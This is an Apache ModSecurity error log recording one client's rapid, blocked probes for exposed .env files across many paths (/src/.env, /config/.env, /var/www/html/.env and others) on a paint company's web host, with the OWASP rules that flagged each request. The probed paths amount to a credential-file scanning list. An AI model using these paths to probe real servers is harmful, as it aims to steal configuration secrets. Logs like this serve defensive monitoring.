[Mon Oct 26 22:24:47.390574 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwQAAAAg"]
[Mon Oct 26 22:24:47.390955 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwQAAAAg"]
[Mon Oct 26 22:24:47.494583 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwgAAAAg"]
[Mon Oct 26 22:24:47.494880 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwgAAAAg"]
[Mon Oct 26 22:24:47.495258 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwgAAAAg"]
[Mon Oct 26 22:24:47.601983 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwwAAAAg"]
[Mon Oct 26 22:24:47.602223 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwwAAAAg"]
[Mon Oct 26 22:24:47.602589 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzwwAAAAg"]
[Mon Oct 26 22:24:47.734614 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxAAAAAg"]
[Mon Oct 26 22:24:47.734880 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxAAAAAg"]
[Mon Oct 26 22:24:47.735209 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxAAAAAg"]
[Mon Oct 26 22:24:47.837979 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxQAAAAg"]
[Mon Oct 26 22:24:47.838226 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxQAAAAg"]
[Mon Oct 26 22:24:47.838554 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxQAAAAg"]
[Mon Oct 26 22:24:47.942924 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxgAAAAg"]
[Mon Oct 26 22:24:47.943152 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxgAAAAg"]
[Mon Oct 26 22:24:47.943480 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auALb0r8KB7FmjwQ4kVzxgAAAAg"]
[Mon Oct 26 22:24:48.060329 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzxwAAAAg"]
[Mon Oct 26 22:24:48.060613 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzxwAAAAg"]
[Mon Oct 26 22:24:48.060971 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzxwAAAAg"]
[Mon Oct 26 22:24:48.168435 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzyAAAAAg"]
[Mon Oct 26 22:24:48.168715 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzyAAAAAg"]
[Mon Oct 26 22:24:48.169098 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzyAAAAAg"]
[Mon Oct 26 22:24:48.312801 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzyQAAAAg"]
[Mon Oct 26 22:24:48.313085 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzyQAAAAg"]
[Mon Oct 26 22:24:48.313397 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzyQAAAAg"]
[Mon Oct 26 22:24:48.418541 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzygAAAAg"]
[Mon Oct 26 22:24:48.418874 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzygAAAAg"]
[Mon Oct 26 22:24:48.419186 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzygAAAAg"]
[Mon Oct 26 22:24:48.553679 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzywAAAAg"]
[Mon Oct 26 22:24:48.553959 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzywAAAAg"]
[Mon Oct 26 22:24:48.554252 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzywAAAAg"]
[Mon Oct 26 22:24:48.662956 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzAAAAAg"]
[Mon Oct 26 22:24:48.663216 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzAAAAAg"]
[Mon Oct 26 22:24:48.663547 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzAAAAAg"]
[Mon Oct 26 22:24:48.779448 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzQAAAAg"]
[Mon Oct 26 22:24:48.779686 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzQAAAAg"]
[Mon Oct 26 22:24:48.780025 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzQAAAAg"]
[Mon Oct 26 22:24:48.904401 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzgAAAAg"]
